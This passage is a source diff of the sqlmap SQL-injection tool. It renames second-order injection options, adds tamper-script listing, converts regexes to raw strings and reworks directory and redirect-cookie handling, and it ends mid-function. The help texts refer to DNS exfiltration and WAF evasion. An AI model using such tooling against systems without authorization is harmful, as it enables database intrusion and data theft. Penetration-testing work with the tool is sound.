_adjustLoggingFormatter()
|
||||
_setMultipleTargets()
|
||||
_listTamperingFunctions()
|
||||
_setTamperingFunctions()
|
||||
_setWafFunctions()
|
||||
_setTrafficOutputFP()
|
||||
|
||||
@@ -109,7 +109,8 @@ optDict = {
|
||||
"uChar": "string",
|
||||
"uFrom": "string",
|
||||
"dnsDomain": "string",
|
||||
"secondOrder": "string",
|
||||
"secondUrl": "string",
|
||||
"secondReq": "string",
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
@@ -226,9 +227,10 @@ optDict = {
|
||||
"disableColoring": "boolean",
|
||||
"googlePage": "integer",
|
||||
"identifyWaf": "boolean",
|
||||
"listTampers": "boolean",
|
||||
"mobile": "boolean",
|
||||
"offline": "boolean",
|
||||
"purgeOutput": "boolean",
|
||||
"purge": "boolean",
|
||||
"skipWaf": "boolean",
|
||||
"smart": "boolean",
|
||||
"tmpDir": "string",
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import httplib
|
||||
|
||||
from lib.core.settings import IS_WIN
|
||||
|
||||
def dirtyPatches():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
"""
|
||||
|
||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
httplib._MAXLINE = 1 * 1024 * 1024
|
||||
|
||||
# add support for inet_pton() on Windows OS
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton
|
||||
|
||||
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
|
||||
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
|
||||
+17
-12
@@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||
if os.path.exists(imageOutputFile):
|
||||
os.remove(imageOutputFile)
|
||||
|
||||
infoMsg = "profiling the execution into file %s" % profileOutputFile
|
||||
infoMsg = "profiling the execution into file '%s'" % profileOutputFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Start sqlmap main function and generate a raw profile file
|
||||
@@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||
if isinstance(pydotGraph, list):
|
||||
pydotGraph = pydotGraph[0]
|
||||
|
||||
pydotGraph.write_png(imageOutputFile)
|
||||
try:
|
||||
pydotGraph.write_png(imageOutputFile)
|
||||
except OSError:
|
||||
errMsg = "profiling requires graphviz installed "
|
||||
errMsg += "(Hint: 'sudo apt-get install graphviz')"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
infoMsg = "displaying interactive graph with xdot library"
|
||||
logger.info(infoMsg)
|
||||
|
||||
infoMsg = "displaying interactive graph with xdot library"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
|
||||
# http://code.google.com/p/jrfonseca/wiki/XDot
|
||||
win = xdot.DotWindow()
|
||||
win.connect('destroy', gtk.main_quit)
|
||||
win.set_filter("dot")
|
||||
win.open_file(dotOutputFile)
|
||||
gtk.main()
|
||||
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
|
||||
# http://code.google.com/p/jrfonseca/wiki/XDot
|
||||
win = xdot.DotWindow()
|
||||
win.connect('destroy', gtk.main_quit)
|
||||
win.set_filter("dot")
|
||||
win.open_file(dotOutputFile)
|
||||
gtk.main()
|
||||
|
||||
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
from lib.core.enums import OS
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.2.6.0"
|
||||
VERSION = "1.2.8.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -364,7 +364,7 @@ URI_HTTP_HEADER = "URI"
|
||||
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
|
||||
|
||||
# Regex used for masking sensitive data
|
||||
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
|
||||
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
|
||||
|
||||
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
|
||||
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
|
||||
@@ -388,7 +388,7 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
|
||||
CUSTOM_INJECTION_MARK_CHAR = '*'
|
||||
|
||||
# Other way to declare injection position
|
||||
INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'
|
||||
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
|
||||
|
||||
# Minimum chunk length used for retrieving data over error based payloads
|
||||
MIN_ERROR_CHUNK_LENGTH = 8
|
||||
@@ -487,7 +487,7 @@ LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual c
|
||||
REFLECTIVE_MISS_THRESHOLD = 20
|
||||
|
||||
# Regular expression used for extracting HTML title
|
||||
HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
|
||||
HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
||||
|
||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||
@@ -598,7 +598,7 @@ HASHDB_RETRIEVE_RETRIES = 3
|
||||
HASHDB_END_TRANSACTION_RETRIES = 3
|
||||
|
||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
||||
HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Warn user of possible delay due to large page dump in full UNION query injections
|
||||
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||
@@ -631,7 +631,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
||||
|
||||
# Regular expression used for recognition of file inclusion errors
|
||||
FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
||||
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
||||
|
||||
# Length of prefix and suffix used in non-SQLI heuristic checks
|
||||
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||
|
||||
@@ -60,6 +60,8 @@ def saveHistory(completion=None):
|
||||
historyPath = paths.SQL_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.OS:
|
||||
historyPath = paths.OS_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.API:
|
||||
historyPath = paths.API_SHELL_HISTORY
|
||||
else:
|
||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
@@ -86,6 +88,8 @@ def loadHistory(completion=None):
|
||||
historyPath = paths.SQL_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.OS:
|
||||
historyPath = paths.OS_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.API:
|
||||
historyPath = paths.API_SHELL_HISTORY
|
||||
else:
|
||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
|
||||
+31
-27
@@ -83,6 +83,7 @@ def _setRequestParams():
|
||||
conf.parameters[None] = "direct connection"
|
||||
return
|
||||
|
||||
hintNames = []
|
||||
testableParameters = False
|
||||
|
||||
# Perform checks on GET parameters
|
||||
@@ -101,7 +102,6 @@ def _setRequestParams():
|
||||
|
||||
if conf.data is not None:
|
||||
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
|
||||
hintNames = []
|
||||
|
||||
def process(match, repl):
|
||||
retVal = match.group(0)
|
||||
@@ -148,8 +148,8 @@ def _setRequestParams():
|
||||
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
|
||||
if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
|
||||
_ = match.group(2)
|
||||
_ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
|
||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
|
||||
_ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
|
||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||
|
||||
kb.postHint = POST_HINT.JSON
|
||||
@@ -619,33 +619,35 @@ def _createTargetDirs():
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
try:
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH)
|
||||
|
||||
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
|
||||
open(_, "w+b").close()
|
||||
os.remove(_)
|
||||
|
||||
if conf.outputDir:
|
||||
warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
|
||||
logger.warn(warnMsg)
|
||||
except (OSError, IOError), ex:
|
||||
for context in "output", "history":
|
||||
directory = paths["SQLMAP_%s_PATH" % context.upper()]
|
||||
try:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
||||
except Exception, _:
|
||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||
errMsg += "Please make sure that your disk is not full and "
|
||||
errMsg += "that you have sufficient write permissions to "
|
||||
errMsg += "create temporary files and/or directories"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
if not os.path.isdir(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
|
||||
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||
logger.warn(warnMsg)
|
||||
_ = os.path.join(directory, randomStr())
|
||||
open(_, "w+b").close()
|
||||
os.remove(_)
|
||||
|
||||
paths.SQLMAP_OUTPUT_PATH = tempDir
|
||||
if conf.outputDir and context == "output":
|
||||
warnMsg = "using '%s' as the %s directory" % (directory, context)
|
||||
logger.warn(warnMsg)
|
||||
except (OSError, IOError), ex:
|
||||
try:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
|
||||
except Exception, _:
|
||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||
errMsg += "Please make sure that your disk is not full and "
|
||||
errMsg += "that you have sufficient write permissions to "
|
||||
errMsg += "create temporary files and/or directories"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
|
||||
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
|
||||
|
||||
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
|
||||
|
||||
@@ -669,6 +671,8 @@ def _createTargetDirs():
|
||||
|
||||
conf.outputPath = tempDir
|
||||
|
||||
conf.outputPath = getUnicode(conf.outputPath)
|
||||
|
||||
try:
|
||||
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
|
||||
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
|
||||
|
||||
@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
|
||||
except (KeyboardInterrupt, SqlmapUserQuitException), ex:
|
||||
print
|
||||
kb.prependFlag = False
|
||||
kb.threadContinue = False
|
||||
kb.threadException = True
|
||||
|
||||
|
||||
@@ -17,6 +17,7 @@ import zipfile
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getLatestRevision
|
||||
from lib.core.common import pollProcess
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
@@ -25,6 +26,7 @@ from lib.core.data import paths
|
||||
from lib.core.revision import getRevisionNumber
|
||||
from lib.core.settings import GIT_REPOSITORY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import ZIPBALL_PAGE
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
|
||||
@@ -39,6 +41,10 @@ def update():
|
||||
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if VERSION == getLatestRevision():
|
||||
logger.info("already at the latest revision '%s'" % getRevisionNumber())
|
||||
return
|
||||
|
||||
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
|
||||
if readInput(message, default='N', boolean=True):
|
||||
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
|
||||
@@ -49,6 +55,7 @@ def update():
|
||||
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
|
||||
for wildcard in ('*', ".*"):
|
||||
for _ in glob.glob(os.path.join(directory, wildcard)):
|
||||
try:
|
||||
@@ -83,6 +90,11 @@ def update():
|
||||
else:
|
||||
if not success:
|
||||
logger.error("update could not be completed")
|
||||
else:
|
||||
try:
|
||||
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
|
||||
except OSError:
|
||||
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
|
||||
else:
|
||||
infoMsg = "updating sqlmap to the latest development revision from the "
|
||||
infoMsg += "GitHub repository"
|
||||
|
||||
+16
-10
@@ -253,13 +253,13 @@ def cmdLineParser(argv=None):
|
||||
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
help="Force back-end DBMS to provided value")
|
||||
|
||||
injection.add_option("--dbms-cred", dest="dbmsCred",
|
||||
help="DBMS authentication credentials (user:password)")
|
||||
|
||||
injection.add_option("--os", dest="os",
|
||||
help="Force back-end DBMS operating system to this value")
|
||||
help="Force back-end DBMS operating system to provided value")
|
||||
|
||||
injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
|
||||
help="Use big numbers for invalidating values")
|
||||
@@ -333,9 +333,12 @@ def cmdLineParser(argv=None):
|
||||
techniques.add_option("--dns-domain", dest="dnsDomain",
|
||||
help="Domain name used for DNS exfiltration attack")
|
||||
|
||||
techniques.add_option("--second-order", dest="secondOrder",
|
||||
techniques.add_option("--second-url", dest="secondUrl",
|
||||
help="Resulting page URL searched for second-order response")
|
||||
|
||||
techniques.add_option("--second-req", dest="secondReq",
|
||||
help="Load second-order HTTP request from file")
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
@@ -400,7 +403,7 @@ def cmdLineParser(argv=None):
|
||||
help="Search column(s), table(s) and/or database name(s)")
|
||||
|
||||
enumeration.add_option("--comments", dest="getComments", action="store_true",
|
||||
help="Retrieve DBMS comments")
|
||||
help="Check for DBMS comments during enumeration")
|
||||
|
||||
enumeration.add_option("-D", dest="db",
|
||||
help="DBMS database to enumerate")
|
||||
@@ -581,7 +584,7 @@ def cmdLineParser(argv=None):
|
||||
help="Log all HTTP traffic into a HAR file")
|
||||
|
||||
general.add_option("--hex", dest="hexConvert", action="store_true",
|
||||
help="Use DBMS hex function(s) for data retrieval")
|
||||
help="Use hex conversion during data retrieval")
|
||||
|
||||
general.add_option("--output-dir", dest="outputDir", action="store",
|
||||
help="Custom output directory path")
|
||||
@@ -634,14 +637,17 @@ def cmdLineParser(argv=None):
|
||||
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
|
||||
help="Make a thorough testing for a WAF/IPS/IDS protection")
|
||||
|
||||
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
|
||||
help="Display list of available tamper scripts")
|
||||
|
||||
miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
|
||||
help="Imitate smartphone through HTTP User-Agent header")
|
||||
|
||||
miscellaneous.add_option("--offline", dest="offline", action="store_true",
|
||||
help="Work in offline mode (only use session data)")
|
||||
|
||||
miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
|
||||
help="Safely remove all content from output directory")
|
||||
miscellaneous.add_option("--purge", dest="purge", action="store_true",
|
||||
help="Safely remove all content from sqlmap data directory")
|
||||
|
||||
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
|
||||
help="Skip heuristic detection of WAF/IPS/IDS protection")
|
||||
@@ -871,9 +877,9 @@ def cmdLineParser(argv=None):
|
||||
if args.dummy:
|
||||
args.url = args.url or DUMMY_URL
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
|
||||
errMsg += "use -h for basic or -hh for advanced help\n"
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
||||
return args
|
||||
|
||||
@@ -36,7 +36,7 @@ def cleanupVals(text, tag):
|
||||
return text
|
||||
|
||||
def parseXmlNode(node):
|
||||
for element in node.getiterator('boundary'):
|
||||
for element in node.getiterator("boundary"):
|
||||
boundary = AttribDict()
|
||||
|
||||
for child in element.getchildren():
|
||||
@@ -48,7 +48,7 @@ def parseXmlNode(node):
|
||||
|
||||
conf.boundaries.append(boundary)
|
||||
|
||||
for element in node.getiterator('test'):
|
||||
for element in node.getiterator("test"):
|
||||
test = AttribDict()
|
||||
|
||||
for child in element.getchildren():
|
||||
|
||||
@@ -35,7 +35,6 @@ from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapCompressionException
|
||||
from lib.core.settings import BLOCKED_IP_REGEX
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||
from lib.core.settings import EVENTVALIDATION_REGEX
|
||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||
from lib.core.settings import META_CHARSET_REGEX
|
||||
|
||||
+16
-13
@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
|
||||
import binascii
|
||||
import compiler
|
||||
import httplib
|
||||
import json
|
||||
import keyword
|
||||
import logging
|
||||
import re
|
||||
@@ -408,8 +407,10 @@ class Connect(object):
|
||||
ws.close()
|
||||
code = ws.status
|
||||
status = httplib.responses[code]
|
||||
|
||||
class _(dict):
|
||||
pass
|
||||
|
||||
responseHeaders = _(ws.getheaders())
|
||||
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
|
||||
|
||||
@@ -736,10 +737,10 @@ class Connect(object):
|
||||
if conn and getattr(conn, "redurl", None):
|
||||
_ = urlparse.urlsplit(conn.redurl)
|
||||
_ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
|
||||
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
|
||||
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
|
||||
|
||||
if kb.resendPostOnRedirect is False:
|
||||
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg)
|
||||
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
|
||||
requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg)
|
||||
requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg)
|
||||
|
||||
@@ -1104,33 +1105,33 @@ class Connect(object):
|
||||
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
|
||||
if re.search(r"<%s\b" % re.escape(name), post):
|
||||
found = True
|
||||
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||
elif re.search(r"\b%s>" % re.escape(name), post):
|
||||
found = True
|
||||
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||
|
||||
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
|
||||
if not found and re.search(regex, (post or "")):
|
||||
found = True
|
||||
post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
|
||||
post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
|
||||
|
||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
||||
if not found and re.search(regex, (post or "")):
|
||||
found = True
|
||||
post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||
post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
|
||||
|
||||
if re.search(regex, (get or "")):
|
||||
found = True
|
||||
get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
|
||||
get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
|
||||
|
||||
if re.search(regex, (query or "")):
|
||||
found = True
|
||||
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
|
||||
uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
|
||||
|
||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
||||
if re.search(regex, (cookie or "")):
|
||||
found = True
|
||||
cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
|
||||
cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
|
||||
|
||||
if not found:
|
||||
if post is not None:
|
||||
@@ -1161,7 +1162,7 @@ class Connect(object):
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
|
||||
warnMsg += "larger statistical model, please wait"
|
||||
warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of")
|
||||
dataToStdout(warnMsg)
|
||||
|
||||
while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
|
||||
@@ -1234,8 +1235,10 @@ class Connect(object):
|
||||
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if conf.secondOrder:
|
||||
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
if conf.secondUrl:
|
||||
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
elif kb.secondReq:
|
||||
page, headers, code = Connect.getPage(url=kb.secondReq[0], post=kb.secondReq[2], method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastPage = page
|
||||
|
||||
@@ -12,6 +12,7 @@ import socket
|
||||
import urllib2
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -48,7 +49,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
|
||||
|
||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
|
||||
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
|
||||
try:
|
||||
sock = create_sock()
|
||||
|
||||
@@ -440,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
||||
|
||||
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
|
||||
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
|
||||
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
|
||||
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
|
||||
|
||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
||||
kb.technique = PAYLOAD.TECHNIQUE.TIME
|
||||
|
||||
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
import types
|
||||
import urllib2
|
||||
@@ -124,12 +123,21 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||
|
||||
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
|
||||
if headers and HTTP_HEADER.SET_COOKIE in headers:
|
||||
cookies = dict()
|
||||
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
|
||||
_ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
|
||||
if HTTP_HEADER.COOKIE not in req.headers:
|
||||
req.headers[HTTP_HEADER.COOKIE] = _
|
||||
else:
|
||||
req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
|
||||
last = None
|
||||
|
||||
for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE):
|
||||
if '=' in part:
|
||||
part = part.strip()
|
||||
key, value = part.split('=', 1)
|
||||
cookies[key] = value
|
||||
last = key
|
||||
elif last:
|
||||
